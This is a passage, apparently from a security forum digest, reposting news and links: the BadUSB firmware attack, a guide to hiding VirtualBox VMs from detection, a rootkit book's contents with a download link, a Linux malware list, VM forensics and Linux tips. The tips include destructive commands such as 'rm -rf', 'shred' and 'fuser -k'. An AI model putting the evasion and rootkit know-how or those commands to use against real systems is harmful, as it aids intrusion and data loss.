how DRAM can fit gigabits onto a single chip.) Another alternative is flash memory, which has the big advantage of keeping its contents while the power is turned off. [12] If you've built electronic circuits, it may seem dodgy to force the inverters to change values by overpowering the outputs. But this is a standard technique in chips. To understand what happens, remember that in an NMOS circuit, a 0 output is created by a transistor to ground, while a 1 output is made by a much weaker resistor. So if one of the inverters is outputting a 1 and a 0 is connected to the output, the 0 will "win". This will cause the other inverter to immediately switch to 1. At this point, the original inverter will switch to output 0 and the inverter pair is now stable with the new values. To improve speed, and to prevent a low voltage on the bus from accidentally clearing a bit while reading a register, the bus lines are all precharged to +5 every clock cycle. A low output from an inverter will have no trouble pulling the bus line low, and a high output will leave the bus line high. The precharging is done through transistors in the space between the IR and WZ registers. [13] One disadvantage of NMOS logic is the pull-up resistors waste power. In addition, the output is fairly slow (by computer standards) to change from 0 to 1 because of the limited current through the resistor. For these, reasons, NMOS has been almost entirely replaced by CMOS logic which instead of resistors uses complementary transistors to pull the output high. (As a result, CMOS uses almost no power except while switching outputs from one state to another. For this reason, CMOS power usage scales up with frequency, which is why CPUs are hitting clock limits - they're too hot to run any faster.) Sursa: Ken Shirriff's blog: Down to the silicon: how the Z80's registers are implemented

by Pierluigi Paganini on October 4th, 2014 Two researchers Brandon Wilson and Adam Caudill released their attack code to reprogram USB sticks and use them as an undetectable hacking instrument. Recently, two independent researchers, Brandon Wilson and Adam Caudill, have released the code which can reprogram, benign USB devices turning them in malicious components. The experts published the code on the Github raising the question related to the real level of security of USB devices, the BadUSB research was approached in detail during the Black Hat conference when security experts demonstrated the risks related to an undetectable menace carried via USB. Security experts explained that USB devices can be used to compromise personal computers in a potential new type of attacks that could not be detected with all actual security protections. Karsten Nohl, chief scientist with Berlin’s SR Labs, discovered that bad actors could exploit this new class of attacks loading malicious software low-cost computer chips that control the functions of USB devices. The researchers from SR Labs, which presented the attack scheme during the Black Hat conference this summer, point a series of flaws in the software used to run a tiny electronic components, these components are usually designed without protections against tampering with their code. Hackers can uncover such flaws and exploit them creating serious problems to the targeted architecture. “You cannot tell where the virus came from. It is almost like a magic trick,” said Nohl. Nohl explained that his team has written malicious code and deployed it into USBcontrol chips used in thumb drives and smartphones, at this point it is sufficient that victims connect the USB device to a computer to trigger the execution of malicious software. Nohl and Lell’s BadUSB demonstrations during Black Hat illustrated how their code could overwrite USB firmware and turn a USB device into anything. A flash drive plugged into a PC, could for example, emulate a keyboard and issue commands that steal data from the machine, spoof a computer’s network interface and redirect traffic by altering DNS settings, or could load malware from a hidden partition on the drive. Antivirus software are not able to detect malicious firmware that controls USB devices, the code inserted with this method can be used for many purposes, including spy on communications, data tampering and log keystrokes. But while Karsten Nohl decided to not disclose the attack code, Brandon Wilson and Adam Caudill made public their source code to solicit the IT industry to adopt necessary measures for securing USB firmware from malicious manipulation. “The security of these devices is completely compromised.” “The security of these devices is completely compromised,” Wilson said. “You can’t trust anything you plug into your computer any longer, not even something as simple as a flash drive.” “We’re just taking advantage of the USB protocol,” Wilson said. “This drive is a reprogrammable computer that allows you to do all sorts of things. It allows you to be any device, and up until now, most developers had hard-coded them to behave in specific ways. The firmware on a flash drive makes it behave like a flash drive.” After Black Hat, Wilson said he bought numerous drives and tested them and were able to take advantage of existing tools used to update firmware to get their code to overwrite the firmware on the Phison device. At Derby Con, they were able to demonstrate their attack with the device pretending to be a keyboard that typed out a predetermined script once it was plugged into the host computer. They also showed another demo where they had a hidden partition on a flash drive that was not detected by the host PC. “It’s undetectable while it’s happening,” Wilson said. “The PC has no way of determining the difference. The way a PC determines the type of device all happens through the USB and code on the other device. Our ability to control that code means you cannot trust anything a USB device tells you.” This kind of attack is very insidious, it is necessary that the device manufacturers will improve the level of security for their devices, avoiding for example the unauthorized firmware overwriting using digitally signed code for the USB device firmware. “The fact that we were so easily able to change the firmware is an easy fix. The manufacturers could implement code-signing, but they don’t do that at all” Wilson said. “That needs to change. And even if they do add code-signing, you still have the other aspect which is that the computer cannot trust what you’re plugging into it. To truly fix the problem, it has to be fixed on the host.” “When you have a firmware image, you want to protect it in some way. You want a checksum, or something that the drive uses to validate that something is coming across correctly,” Wilson added. “There’s nothing like that. There needs to be something. Code signing is one approach to take for now. But to really shut it down long term, the host needs to be aware that when you plug in a device you don’t trust, it has to be given an option not to trust it. Because once you plug it in, it’s done.” Resuming, threat actors could exploit USB as an attack vector simply by reprogramming USB peripherals, so it is crucial to implement protection from such malicious reprogramming. Once reprogrammed, any USB devices could be used for various malicious purposes, including: emulates a keyboard and issue commands on behalf of the logged-in user, for example to exfiltrate files or install malware. Such malware, in turn, can infect the controller chips of other USB devices connected to the computer. spoofs a network card and change the computer’s DNS setting to redirect traffic. A modified thumb drive or external hard disk can – when it detects that the computer is starting up – boot a small virus, which infects the computer’s operating system prior to boot. Unfortunately, no effective defenses from USB attacks are possible in this moment, antivirus cannot access the firmware running on USB devices and behavioral detection very hard to implement. Pierluigi Paganini (Security Affairs – hacking, USB) Sursa: Transforming USB sticks into undetectable malicious devices | Security Affairs

[h=3]VBoxAntiVMDetectHardened mitigation (10/09/14)[/h] by EP_X0FF » Thu Aug 28, 2014 9:46 am Step by step guide for VirtualBox Hardened (4.3.14+) VM detection mitigation configuring. Later if nothing changes in Oracle product this will be moved to public forums. This guide and AntiVMDetect only applies to x86-64 Windows platform. Guide consists the following parts: 1) VirtualBox Installation 2) AntiVMDetect installation and configuring 3) VirtualBox VM installation and configuring 1) VirtualBox installation 1.1) Do clean installation of latest VirtualBox. Clean mean - you must firstly uninstall any other versions of VirtualBox and reboot Windows to complete uninstallation. This ensures that no old VBox files will left in system memory and disk. Unfortunately VBox setup sometimes can't do complete removal without reboot. 1.2) Start installation and select VirtualBox components to install as shown on fugure below. DO NOT INSTALL VirtualBox Networking, otherwise you will have problems with part 2 and 3 of this guide, as VirtualBox driver cannot be stoped when VirtualBox networking is active. This feature is pretty useless however, NAT still will be available for virtual machines. 2) AntiVMDetect VM installation and configuring 2.1) What we will target: - DMI Information; - IDE/AHCI devices (harddisks, cd-rom's); - ACPI OEM Information; - Ethernet Adapter MAC address; - PXE Boot data; - ACPI DSDT (Differentiated System Description Table); - ACPI SSDT (Secondary System Descriptor Table); - VGA Video BIOS data; - BIOS data; - VM splashscreen (optional, just for nice looking). How do we target this: we remove all sings of Oracle/Innotek signatures inside original data extracted by various ways from Oracle VirtualBox itself and then use documented and "not documented" ways to set these customized data for specific virtual machine using batch scripts, see 2.2 for more info and example. Articol complet: KernelMode.info • View topic - VBoxAntiVMDetectHardened mitigation (10/09/14)

[h=1]x509test[/h] If you have any questions, suggestions, comments, concerns, or interesting stories, please email x509test@gmail.com. Description: x509test is a software written in Python 3 that test the x509 certificate verification process of the target SSL/TLS client. The inspiration of this software comes from multiple reports on the insecurity of a SSL/TLS client due to incorrect verification of x509 certificate chain. This phenomenon is caused by many factors. One of which is the lack of negative feedback from over-acceptance of invalid certificates. This software is an attempt to increase the security of a client-side SSL/TLS software by providing negative feedbacks to the developers. Test Procedure: The software takes in a user-supplied fqdn, where the fqdn is the destination of the client connection The software reads the certificate and key of the root CA. If no root CA is specified, the software generate a self-signed certificate that acts as the root CA. (NOTE: the root certificate must be trusted by the client software; either by including it to the OS’s trust store or manually configure the client software to trust the certificate.) The software generates a set of test certificates. Some are signed directly by the root CA while others are chained with other intermediate CAs. The majority of the test certificates contain flaws. The software starts a SSL/TLS server and waits for a client to connect. Each session corresponds to a single test certificate chain. If the client completes the handshake procedure with an invalid certificate chain, or terminates the handshake procedure with a valid certificate chain, then the software will denote such behavior as a potential violation. Regardless of the outcome, the software always terminates the connection once result is obtained and starts a new session with a different test certificate chain. (NOTE: some ports require root privilege, so it is recommended to run this software in root.) Results will be printed to the terminal, or a file if specified, as the test progresses. There are only three possible results from a given test. Pass means no non-compliance behavior is observed; fail means non-compliance behavior encountered; unsupported means the underlying system in which x509test is running on does not support the particular test. Sursa: https://github.com/yymax/x509test

Debian 8.0 Beta 2 "Jessie" Released with GNOME as Default Developers have also added a tool for choosing other desktop environments during the installation process By Silviu Stahie on October 6th, 2014 09:24 GMT The Debian Installer Team has announced that Debian Installer Jessie Beta 2 is out and ready for download. This latest version brings some very interesting changes for Jessie and a ton of improvements. The Debian installer is always launched first, so if you want to test the latest Debian 8 version, you will have to install it. There is no Live CD, which means that you will need to have a lot of patience. From what we've seen so far, Debian Jessie Beta 2 was worth the wait. Unlike regular Debian versions, which are pretty dull and usually only about small fixes, the Beta ones are much more exciting. This is where the action is and where all the new features are added. GNOME is making a comeback Many users didn't know that, for a while GNOME, had been replaced by Xfce as the default desktop environment for the latest Jessie branch. Since the first Beta for Debian 8 was made available, there have been some debates regarding this particular choice and now GNOME is back in play. It's not like other desktop environments will be hard to use with Debian. In fact, one of the main features of this latest version is a list of DE choices that is provided in tasksel. This makes the installation of any desktop environment very easy and quite handy. It still needs some work, but the option is there. The developers have also said that the Arm64 and ppc64el architectures have received support, the PXE boot images built for kfreebsd have been corrected, the UEFI-based systems are now detected as "efi" subarch, a bunch of new sound drivers have been added to the sound-modules package, and a lot of other smaller fixes and improvements have been made. Debian Jessie doesn't have a release date yet and it will be a while until it is out. From the looks of it, if nothing out of the ordinary happens, GNOME will be the default desktop environment. The only question that remains right now is what version of the GNOME it will be. The 3.14 branch will soon land, but maybe they will manage to get 3.14.1 or even 3.14.2 ready by the time of the feature freeze. More details about this release can be found in the official announcement. You can download Debian Jessie Beta 2 right now from Softpedia. This is still a work in progress, so it's very likely that you will encounter bugs or various problems. Sursa: Debian 8.0 Beta 2 "Jessie" Released with GNOME as Default - Softpedia

NetWorx 5.3.3 Monitor network traffic to test the Internet connection, fix connectivity issues, look out for suspicious activity, and limit the bandwidth Watching over the network activities and monitoring Internet connections are tasks that can be carried out with specialized tools. These jobs are usually completed by system administrators, but any user can try to take care of those and even more with the help of a software like NetWorx. Approachable tool for monitoring network traffic The application is most useful for monitoring parameters like connection speed, bandwidth usage and network testing. Through a rather easy-to-use interface that has all the features neatly organized and accessible with minimal effort, the program addresses all kinds of users, less experienced and experts alike. There are graphs with customizable colors and several options to choose from when it comes to usage statistics as well as for the various reports that NetWorx can generate. A very useful feature is the ability to detect any suspicious activity on the network that may originate from hacking attempts or virus activity. Oversee multiple network interfaces at once If you have several network interfaces connected and several connections to watch over, NetWorx can oversee all of them or only the selected ones. There are some sound and visual notifications that you can utilize to get alerts in case unusual network activity is detected, in addition to email notifications. Another handy function of NetWorx is the ability to cut dial-up connections and power off the system. The powerful reporting component of the software application allows you to view the traffic graphs along with detailed bandwidth usage statistics. The reports can be easily saved in one of the compatible formats, namely Microsoft Excel, Word, CSV, TXT or HTML. Conclusion To sum things up, NetWorx offers quite a lot of features in a rather small package. Easy to use and equipped with a strong feature pack, the tool can surely be considered one of the best choices in its category. Sursa: NetWorx Free Download - Softpedia Link: https://www.softperfect.com/products/networx/

Rootkits: Subverting the Windows Kernel By Greg Hoglund, James Butler ............................................... Publisher: Addison Wesley Professional Pub Date: July 22, 2005 ISBN: 0-321-29431-9 Pages: 352 Table of Contents | Index Copyright Praise for Rootkits Preface Historical Background Target Audience Prerequisites Scope Acknowledgments About the Authors About the Cover Chapter 1. Leave No Trace Understanding Attackers' Motives What Is a Rootkit? Why Do Rootkits Exist? How Long Have Rootkits Been Around? How Do Rootkits Work? What a Rootkit Is Not Rootkits and Software Exploits Offensive Rootkit Technologies Conclusion Chapter 2. Subverting the Kernel Important Kernel Components Rootkit Design Introducing Code into the Kernel Building the Windows Device Driver Loading and Unloading the Driver Logging the Debug Statements Fusion Rootkits: Bridging User and Kernel Modes Loading the Rootkit Decompressing the .sys File from a Resource Surviving Reboot Conclusion Chapter 3. The Hardware Connection Ring Zero Tables, Tables, and More Tables Memory Pages The Memory Descriptor Tables The Interrupt Descriptor Table The System Service Dispatch Table The Control Registers Multiprocessor Systems Conclusion Chapter 4. The Age-Old Art of Hooking Userland Hooks Kernel Hooks A Hybrid Hooking Approach Conclusion Chapter 5. Runtime Patching Detour Patching Jump Templates Variations on the Method Conclusion Chapter 6. Layered Drivers A Keyboard Sniffer The KLOG Rootkit: A Walk-through File Filter Drivers Conclusion Chapter 7. Direct Kernel Object Manipulation DKOM Benefits and Drawbacks Determining the Version of the Operating System Communicating with the Device Driver from Userland Hiding with DKOM Token Privilege and Group Elevation with DKOM Conclusion Chapter 8. Hardware Manipulation Why Hardware? Modifying the Firmware Accessing the Hardware Example: Accessing the Keyboard Controller How Low Can You Go? Microcode Update Conclusion Chapter 9. Covert Channels Remote Command, Control, and Exfiltration of Data Disguised TCP/IP Protocols Kernel TCP/IP Support for Your Rootkit Using TDI Raw Network Manipulation Kernel TCP/IP Support for Your Rootkit Using NDIS Host Emulation Conclusion Chapter 10. Rootkit Detection Detecting Presence Detecting Behavior Conclusion Index Download: http://micropenguin.net/files/Other/Rootkits_Subverting_the_Windows_Kernel.pdf

VM discovery and introspection with Rekall Table of Contents Short introduction to virtualization x86 hardware-assisted virtualization VT-x: Virtualized memory and EPT translation VM introspection Detecting a running VM: Discovering VMCS regions in memory Detecting a running VM: Mapping the layout of the VMCS region Detecting a running VM: One last thing Introspecting a running VM Multi-core VMs Nested virtualization The vmscan plugin How to run a rekall plugin on a VM Live analysis Remote live analysis with GRR The Rekall shell and VMs Use other tools: Export raw memory of a VM Rekall virtualization feature list Future improvements References Monday, 9 AM. Your SIEM alerts you of packets matching a Gh0stpdf signature coming from a web designer’s OS X machine. Network activity for the host shows HTTP requests with a Chrome on Windows user-agent. The machine has Virtualbox installed and running. An hour later, another alert fires for a known-bad URL hit from one of your customers' Windows VMs on your OpenStack Compute/KVM deployment. It looks like it’s gonna be a long week. These are two scenarios that would most likely require disk forensics to triage and analyze since the VMs are out of your control and none of your remote forensics tools are installed. Lots of time wasted just to determine if they are false positives. What if you could inspect the VM and launch your Rekall plugin of choice on it? With Rekall you can! “I want to do it remotely, live!” Try GRR (now with Rekall integration) *wink*. What if you prefer to use your tool of choice instead of Rekall to analyze the VM memory? Rekall helps you! Rekall is the first memory framework to support transparent introspection of VMs with any host-guest OS combination and is independent of the virtualization software layer, as long as it’s employing Intel Virtualization extensions with Extended Page Tables which is present in all modern Intel processors and the default for many virtualization packages. Together with GRR, Rekall allows you to discover virtual machines running in your fleet and analyze their memory, live requiring only access to the host. No interaction is done with the virtualization layer. In this article I’ll explain how Intel’s hardware-assisted virtualization works, how Rekall emulates this technology to allow transparent introspection of guest VMs from just the host memory and the challenges of its implementation. If you just want to know how detect and analyze VMs right away, see [the_vmscan_plugin]. For a complete feature list, see [feature_list]. Short introduction to virtualization Virtualization has become a pervasive technology. From cloud infrastructure and malware analysis sandboxes, to consumer-grade virtualization products that allow you to run your Operating System of choice, virtualization is everywhere. Virtualization at its core separates software from hardware in a way that allows multiple operating systems to share the same resources, at the same time. Some resources such as memory are split so that each virtual machine has access to a portion of it, while others like your network card are shared. It is a not a new concept and several different techniques have been used for a long time to provide such capabilities. Virtualization can be done in multiple ways: Full emulation (like in Bochs) allows for complete control over the running code at the expense of speed. Each and every CPU instruction of the guest OS is trapped and its effect on the state of the virtual machine is emulated. Binary translation, on the other hand, takes blocks of instructions and translates them to a different set of instructions. Then they are executed natively in the processor. This technique can be used to apply optimizations, run code compiled for a CPU in a different CPU or to facilitate debugging by introducing traps in the code. Paravirtualization, instead, requires the guest kernel to be modified so that it knows that it’s running virtualized and executes code accordingly. It usually provides better performance than either Full emulation or Binary translation but is only supported by some operating systems (i.e Linux-XEN). Hardware-assisted. Where the CPU provides functionality to aid or speed up virtualization tasks such as running the guest code, quick page translations or device access control. Because most operating systems base process isolation on paging and page-level protections, virtualization solutions must also virtualize paged memory. The main problem with this is that virtualizing paged memory adds noticeable overhead. By 2004, AMD realized the need for hardware-assisted virtualization and announced their virtualization solution AMD-V (codenamed Pacifica). It wasn’t until May 2006 that they commercialized the first Athlon 64 processors with AMD-V support. To improve performance of page translations, AMD introduced a technology called RVI (Rapid Virtualization Indexing) in September 2007. Intel also realized the problem and introduced VT-x (codename Vanderpool) in November 2005 along with processors that had support for it. However, it wasn’t until November 2008 that Intel introduced their response to AMD’s RVI, called EPT (Extended Page Tables) in their 2nd generation processors. Both AMD-V and VT-x introduce support for running code for the VM directly on the CPU, while offering at least the same level of protection as native code. Both RVI and EPT attempt to solve or mitigate some of the page translation overhead by allowing the processor to perform all the page translations for the VM all the way up to the physical memory. Both hardware-assisted solutions are remarkably similar. Nowadays, most virtualization solutions use hardware-assisted virtualization when available and resort to a mix of the aforementioned techniques when it’s unavailable. Some solutions implement a backdoor of sorts in the kernel that is allowed direct communication from the guest to the host (an example of which is VMWare Tools). Rekall supports detection and transparent emulation of Intel VT-x with EPT translation since January 2014. We support any host and guest OS, both 32 and 64bits. Articol complet: http://www.rekall-forensic.com/posts/2014-10-03-vms.html

[h=3]List of Linux Malware[/h] by EP_X0FF » Mon Sep 08, 2014 10:17 am Below is list of Linux system oriented malware families. AES.DDoS BillGates BoSSaBoT Cdorked Darkleech Elknot GoARM.Bot Hanthie IptabLex|s KBeast LightTaidra (mod Zendran) Mayhem Pscan+SSHscan ShellReverseTcp (used by Shellshock) Shellshock (Bash0day, Bashdoor) Snakso Tsunami Xor.DDoS Yangji other Linux Kernel 2.6.27 x86/x64 exploit If you have more Linux based malware not listed here, and you want to share them - please create separate topic, link to it will be added here. Link to this topic added to pinned thread Interesting malware. Samples credits to: unixfreaxjp, rkhunter, K_Mikhail, Xylitol and some others. Sursa: KernelMode.info • View topic - List of Linux Malware

More Linux tips every geek should know Posted at 12:41pm on Friday March 6th 2009 If you've already read and memorised our "Linux tips every geek should know" and "20 all-new tips for KDE 4.2" features, we've picked out 50 more Linux desktop tips for you to enjoy. And remember, if you don't ask, you don't get - follow us on Identi.ca or Twitter to have your say on what we post next... Command line #1: Auto-correct typos Typing on the command line isn't easy. First, it takes a lot of time to learn how all the commands work, but then even after that you need to be very precise with your file and directory names, otherwise you'll need to try and try again. But there's a way out: Bash has a built-in command called "shopt" that lets you set various command-line options. For example, running shopt -s cdspell enables automatic typo correction for directory names, so that typing cd /hom/hudzila will get you to the nearest match - /home/hudzilla. You can also use shopt -s nocaseglob so that when you type part of a filename and press Tab to autocomplete, Bash does a case-insensitive search. #2: Sequential command history Apparently computers are here to make life easier, but that's news to us - all too often we find people executing the same boring repetitive sequence of commands to get a job done, rather than think a little smarter and really flex the full power of Bash. For example, if you want to run the last three commands repeatedly, just scroll up to the first one in the sequence, hold down the Control key and tap O as many times as you need. Each time you tap O, one command in the sequence will be executed, and when it hits the last command it goes back to the first one you selected and repeats. #3: Make working as root safer Working with root is either great fun or extremely dangerous, depending on how much you like the feeling of supreme executive power. But if you're one of the people who fears the mighty power of the superuser to delete files with impunity, what you need is chattr: it lets you set a file as being immutable, which means that not even root can delete it. For example: running chattr +i myfile.txt as root will make that file virtually indestructable no matter what user you are. If you want to remove the shield of steel, use -i rather than +i. #4: Selective deletion If you have a directory that contains ten subdirectories and you want to delete three of them, the slow way to do it would be like this: rm -rf /home/hudzilla/work rm -rf /home/hudzilla/projects rm -rf /home/hudzilla/sandbox But that's pretty darn slow and open to making mistakes - a much smarter way to is to let Bash perform multiple filename expansion by placing the options inside braces. For example, this would achieve the same as the three lines from above: rm -rf /home/hudzilla/{work,projects,sandbox} #5: Locate with style Everyone loves the locate command, because as long as your index is up-to-date, there is no faster way to find files matching a certain name. Of course, the problem with locate is that it just lists filenames, which is no good if you want more information on those files, such as how much space they take up. Well, why not try piping the output from locate through ls? For example, this neat little one-liner will find files matching somefile, then pipe that list through ls -lsh so you'll see all the matching results as well as how big they are on your system: locate somefile | xargs ls -lsh #6: Silence the beeps Sick of your computer speaker beeping like a demented Morse code machine whenever you type something wrongly? Teach it the sound of silence: run the command setterm -blength 0 to mute the alarm bell no matter what kind of terminal you're typing into. If you want it to happen every time you start a terminal, just add the command to your .bash_profile file. If you just want to get rid of error messages completely, redirect the standard error stream to the pseudo-device /dev/null using the notation 2> /dev/null. Here's an example using the find command: $ find / -user chris 2> /dev/null #7: Cutting text Awk is a powerful beast for extracting information from lines of text, often far more than is needed. The cut command does the same sort of thing more easily. cut -c1-10 returns the first ten characters from each line of standard input, while cut -f 3 -d ' ' returns the third field, where the delimiter for a field is set to a space by -d, so it returns the third word. Cut has more options, but all are simple to use. #8: Checking your aliases Some distros ship with a wide selection of aliases, with SUSE often leading the pack. If you want to find out just what Bash is up to behind your back, you can query your aliases by using the type command, like this: type -all ls - that will ask Bash to list precisely what it considers ls to be, and you'll probably find that ls is aliased to something like ls --color=auto and of course also that it lives as a real program in /bin/ls. Alternatively, if these colours annoy you you can turn them off quite easily. To turn it off for one specific shell, type the command unalias ls. To turn it off permanently, just add that command to the .bashrc file in your home directory, so that all your bash shells will see it as they start up and not blind you with garish colour. #9: Get at a DVD virtually Sometimes even Linux Format's magical powers can't squeeze every distro onto a disc in bootable format, which means that sometimes we need to give you ISO files containing the latest and greatest. These ISOs are great if you have a CD burner and want to install the distro sharpish; however, sometimes you just want to nab a few of the snazzier looking wallpapers (Fedora Core 7's balloons, anyone?), in which case your best bet is to mount the ISO as a filesystem, then copy off whatever you want, like this: mkdir /mnt/myiso mount -o loop -t iso9660 some.iso /mnt/myiso #10: Instant spelling suggestions Looking to reject the GUI life altogether and restrict yourself to the command line like a real Unix geek? Great! But as soon as you miss the OOo spellchecker, don't fret: most Linux systems come with the look command built-in, which is a command-line spellchecker. To get started, type look followed by part of a word: look separ should show you matches like "separate", "separately", and so on, whereas entering: look seper will show nothing, because "seperate" is a mis-spelling. #11: Add colourful prompts Do you live life on the command line, but often forget which terminal is your local box and which is SSH'd into your critical server? There are a number of fixes for this - chiefly, don't be an idiot and look where you are typing first. You might also want to use a different virtual desktop for SSH sessions. But perhaps the easiest, most obvious way is to change the terminal prompt. Default prompts on unix systems are usually grey or white on a black background, or sometimes the reverse. How much more obvious can it be that you are somewhere else if your prompt is entirely different, like maybe flashing bold red with some warnings? The prompt for almost all shells is included in the PS1 system variable, so we just need to change that to change the prompt. try the following: export PS1="\e[48;34m \u@\H:\W\e[m>\$ " You can get a list of the escaped characters used to make up the prompt here: www.gnu.org/software/bash/manual/bashref.html#SEC83. Remember to write this to the .bashrc file in your user directory to make it permanent- #12: Re-using old commands. It's a pretty common situation to find you once typed a huge long command that you thought you would never need again, but now you do, but what's the fix? Well, if you're using Bash, you can make use of the history feature (use the Up arrow) of Bash. But what if you have only a vague memory of the command? The history command can help: history | grep -i "<yoursearchstring>" The numbers indicate the history file number of the command, you can execute it by simply typing '!' followed by the number at the bash prompt. #13: Seeing further into the past If your Bash history file never seems to go back far enough to find the command you want, just change the history file size by putting the following in your .bashrc file HISTSIZE=10000 HISTFILESIZE=10000 You can also use unset HISTSIZE and unset HISTFILESIZE to permanently keep all commands entered, but that should be used with caution. #14: Reduce typing and memory usage Long commands are easier to mistype, and lists of long arguments are harder to remember. If you regularly use a command with the same arguments, create an alias to run it by adding: alias myalias='longcommand --with --lots --of --options' to your .bashrc file (or the system /etc/profile) and you can run the whole command with myalias, or even mya[TAB]. You can add further options or arguments when running the alias, which are passed to the original command, like myalias myfile System administration #15: Ignore upgrades you don't want Apt - the Debian packaging system - lets you 'pin' packages so that they never get changed by other software upgrades. For example, if you want a specific version of GCC, install it as normal then load Synaptic, choose the software you just installed, then make sure Lock Selection is checked from under the Package menu. No more will other packages be able to dictate what version you have installed! #16: Quick renames Can you remember back to your first days with Linux or Unix, and all the problems you had when things didn't work quite how you expect? A lot of people moving to Linux from Windows think they can take their DOS skills and apply them straight to the command line, but that leads to all sorts of problems - not least the lack of any sort of disk defragmenter on Linux! But a common source of confusion is how Linux uses mv instead of ren to rename files, which is kind of second-nature to us Linux veterans because obviously moving a file is the same as renaming it. That said, Linux does actually have a rename program all of its own, called simply rename. It's quite different to mv, though - rename's job is to mass-rename one lot of files to something else. For example, back when PHP 3 was the norm, PHP files had the extension .php3. When PHP 4 came out, everyone moved to plain old .php, so you might want to rename all your .php3 files to .php. Well, that's what rename is good for, like this: rename .php3 .php *.php3 #17: Get off my files! Unix-like systems such as Linux have one feature that is simultaneously very annoying and very clever: if someone is reading from a file and it gets deleted, that file actually sticks around until it is no longer being read. In fact, you can even write over the file, and it won't affect the person reading it, which is great for when you make changes to your website and don't want to interrupt Apache; but can be annoying when you're trying to delete a file and lots of people are using it. Here's the fix you've been waiting for: the fuser command lists all the processes that have a handle open on your file, and you can even pass the -k switch to kill off any processes that are working with it. Do that, then delete the file freely! #18: Absolute deletion Using rm to delete files is just begging people to skank around your disk to read the old data, which is no good if you really want your files to disappear forever. Fortunately for all of us, there's the shred command, which overwrites your file with new data multiple times before deleting it, which makes recovery absolutely impossible. For example, if you wanted to be absolutely sure that the file passwords was removed, you would use this command: shred -z -u passwords That overwrites the file with random data 25 times, which is then followed by a final zero pass (-z) so that no one can tell you've shredded something, then removes it (-u). The removal isn't enabled by default, because you can tell shred to work on entire partitions (eg shred /dev/hda1), in which case you probably don't want it removed. #19: Automated kernel installation When compiling a custom kernel, there is no need to copy the kernel and other files manually. Running make install after compiling the kernel will copy it to /boot and also place a backup copy of the kernel configuration there. More importantly, it will create symlinks from vmlinuz to your new kernel and vmlinuz.old to the previous one. If your bootloader has entries for these two kernels, you can always boot the newest and your older fallback kernel without touching Grub or Lilo's configuration files. make install will also run Lilo if necessary. #20: Watch the logs You can monitor system log files to see what is reported as you try to run a program or plug in some hardware. Most programs send reports to the system log, which you can watch in a separate root terminal with tail -f /var/log/messages The -f, or --follow, option shows messages as they are written to the log, and you can use this with any log file. If there is too much noise for you to be able to read any useful information, use grep to show only messages relating to your process with tail -f /var/log/messages | grep ssh #21: Simple web filtering If there are sites you don't want your users going to, there's one quick fix way to block them for good: open up your /etc/hosts file and add lines like this: 127.0.0.1 myspace.com 127.0.0.1 facebook.com For added policing effect, put up a web server at the local machine and put a nice warning message up there about the dangers of social networking for kids! #22: Test your system to the limit So you've built your shiny new server, and you've got Apache, MySQL and PHP all working nicely, but do you know what happens if your server comes under a lot of load? If not, it's worth finding out, so that you can put recovery mechanisms in place and make sure you adjust your quality of service mechanisms to serve the most important requests first. You can artificially bump up the load on your box by using the dbench tool, eg dbench 20 should give you a good chance to make sure SSH is nice and responsive so you can still administer your box if it comes under pressure! #23: User slaying There's nothing worse than finding all that important Crack Attacking you're doing suddenly gets ground to a halt by some greedy user logging and chewing up valuable CPU time with report generating or database querying. And so God gave us the skill command, which sends a signal to a particular process, terminal or user, allowing the root user to control precisely what other users are up to. Our particular favourite is skill -KILL -u degville, which means "kill of all of Degville's programs, then log him out." Then you can go back to Crack Attack and devote your full attention to it... Firefox #24: Duplicate tabs Everyone knows that Ctrl+T brings up a new tab, but did you also know that Ctrl+Z automatically sets the new tab to have the same URL as the previous tab? It's great for duplicating windows! #25: Shorter download notices "YES, I KNOW ALL THE DOWNLOADS FINISHED - GO AWAY!" is a fairly regular mental scream around here. You see, Firefox likes telling you when all downloads are finished by bringing showing a small box in the corner of your screen, happily obscuring anything else you might have down there. Yes, the little download box is useful, but no, we don't need it hanging around there for four seconds - go to the URL about:config in Firefox and change the alerts.totalOpenTime setting to something nice and quick, like 500 (milliseconds, ie half a second). #26: Firefox profiles In the old days, running any Mozilla application twice at the same time would usually bring up a silly profile manager screen that didn't seem to make much sense. But with Firefox having a billion-and-one configuration settings that can highly customise your browsing experience, there's finally a real use for the profile manager: you can create one full of tweaks, bookmarks, toolbars and extensions for power browsing, and another RAM-light profile that keeps caching to a minimum and loads a lean and mean Firefox that's great for checking emails and reading the news. To get to the profile manager screen, just run Firefox with the -profilemanager parameter, eg mozilla-firefox -profilemanager. #27: Kill the popups for good Surprisingly enough, Firefox allows 20 popup windows to appear simultaneously, which is enough to completely fill your screen with crapware advertisements. This is a silly high number, so change it something more sensible by editing the dom.popup_maximum setting - we'd recommend somewhere between 3 and 7. #28: Stop the picture shrink Here's one feature you either love or hate: when Firefox opens an image that's too big for your browser window, it automatically gets resized down to fit. Usually this is on by default, but if like us you always find yourself clicking to make the picture bigger anyway, you might as well go to about:config and change browser.enable_automatic_image_resizing to be false. #29: Can the Go button Desperate to maximise the amount of space on your Firefox window? Well, think about this: how often do you use the little green 'Go' arrow button next to the location bar? Probably never, we reckon, which is why we often remove the little blighter altogether - to do the same, change browser.urlbar.hideGoButton to be true. #30: Not so lucky after all If you type some text into the location bar and hit Enter, Firefox will automatically use Google to search for the best-matching site and load it using I'm Feeling Lucky. If this irks you, change the keyword.URL value in about:config to whatever search string suits you - Google is quite common, because that performs a Google-seach on the text and brings up the normal results page rather than just jumping to the first result. Desktop #31: Disable your touchpad Ever had the frustrating experience of nudging your laptop's trackpad while typing, only to have it count as a click and move the cursor somewhere you didn't want it? Sure you have - but it's easily fixed! Edit your xorg.conf file as root, then make sure you add this line to the InputDevice section of your trackpad: Option "SHMConfig" "on" Now go to System > Preferences > Sessions and click the New button under Startup Programs, and add the following command: syndaemon -i 1 -d. Now restart your machine, and you're all set - your trackpad will still work as normal, except now you can't knock it by accident while typing! #32: Hide Gnome apps in KDE and vice versa Running Ubuntu is great until you try to install Kubuntu (or vice versa), because your previously neatly organised menu system goes into overload meltdown with dozens of programs from both desktops fighting for your priority. But there's a fix: you can force individual shortcuts to appear only in Gnome or only in KDE as opposed to being in both. To do this, switch to root and browser to /usr/share/applications (for Gnome apps) or /usr/share/applications/kde (for KDE apps). Then open a shortcut file in your text editor, and add one of these two lines to the bottom: OnlyShowIn=KDE for KDE-only applications; or OnlyShowIn=GNOME for Gnome-only applications. #33: Stay in the loop even when offline We love Evolution's web calendaring system, because it's smart, fast and easy to use. So you can imagine our pain, then, on the rare occasions we go offline and suddenly find our calendars missing. But there's a quick and simple fix for this - go to your right-click on your calendar, choose Properties, then make sure the Copy Calendar Contents Locally box 